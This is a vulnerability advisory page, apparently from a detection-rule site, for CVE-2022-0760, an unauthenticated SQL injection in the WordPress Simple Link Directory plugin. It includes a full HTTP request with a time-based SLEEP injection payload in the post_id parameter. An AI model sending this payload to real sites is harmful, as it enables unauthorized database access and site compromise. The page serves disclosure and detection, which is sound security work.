🔙 목록으로 돌아가기

CVE-2022-0760: WordPress Simple Link Directory <7.7.2 - SQL injection

TitleWordPress Simple Link Directory <7.7.2 - SQL injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the WordPress site.
RemediationUpdate to the latest version of WordPress Simple Link Directory plugin (7.7.2 or higher) to mitigate the SQL injection vulnerability.
CVSS Score9.8
EPSS Score0.85913
CVE IDCVE-2022-0760
CWE IDCWE-89
Tags time-based-sqli cve cve2022 sqli wordpress wp-plugin wp simple-link-directory unauth wpscan quantumcloud vkev vuln

🔍 Vulnerability Description

WordPress Simple Link Directory plugin before 7.7.2 contains a SQL injection vulnerability. The plugin does not validate and escape the post_id parameter before using it in a SQL statement via the qcopd_upvote_action AJAX action, available to unauthenticated and authenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 71
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=qcopd_upvote_action&post_id=(SELECT 3 FROM (SELECT SLEEP(7))enz)

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0760.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0760.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A